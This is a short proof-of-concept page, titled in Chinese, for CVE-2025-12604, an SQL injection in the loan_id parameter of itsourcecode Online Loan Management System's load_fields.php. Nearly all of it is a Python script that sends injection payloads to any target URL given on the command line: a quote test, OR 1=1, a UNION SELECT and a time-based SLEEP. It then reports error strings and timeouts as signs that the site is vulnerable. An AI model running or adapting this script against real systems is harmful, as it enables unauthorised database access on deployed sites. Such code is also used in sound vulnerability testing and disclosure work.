CVE-2025-12604 itsourcecode Online Loan Management System SQL注入漏洞

#!/usr/bin/env python3 # CVE-2025-12604 PoC - SQL Injection in itsourcecode Online Loan Management System # Target: /load_fields.php?loan_id parameter import requests import sys def test_sql_injection(url, param_name="loan_id"): """Test for SQL injection vulnerability""" # Normal request normal_payload = "1" # SQL injection test payloads payloads = [ "1'", # Basic quote test "1'", # Single quote "1 OR 1=1", # OR injection "1' UNION SELECT 1,2,3--", # UNION-based injection "1' AND SLEEP(5)--", # Time-based blind injection ] print(f"[*] Testing SQL Injection on {url}") print(f"[*] Target parameter: {param_name}") print("-" * 50) # Test normal request try: normal_url = f"{url}?{param_name}={normal_payload}" response = requests.get(normal_url, timeout=10) print(f"[+] Normal request status: {response.status_code}") except Exception as e: print(f"[-] Error in normal request: {e}") return False # Test injection payloads for i, payload in enumerate(payloads, 1): try: test_url = f"{url}?{param_name}={payload}" print(f"\n[*] Testing payload {i}: {payload}") response = requests.get(test_url, timeout=15) # Check for SQL error indicators if "sql" in response.text.lower() or "error" in response.text.lower(): print(f"[+] Potential SQL error detected in response") print(f"[+] Payload {payload} might be vulnerable") else: print(f"[-] No obvious SQL error in response") # For time-based injection if "SLEEP" in payload: print(f"[*] Check response time for time-based injection") except requests.exceptions.Timeout: print(f"[+] Time-based injection confirmed (request timed out)") return True except Exception as e: print(f"[-] Error testing payload: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12604.py <target_url>") print("Example: python cve-2025-12604.py http://target.com/load_fields.php") sys.exit(1) target_url = sys.argv[1] test_sql_injection(target_url)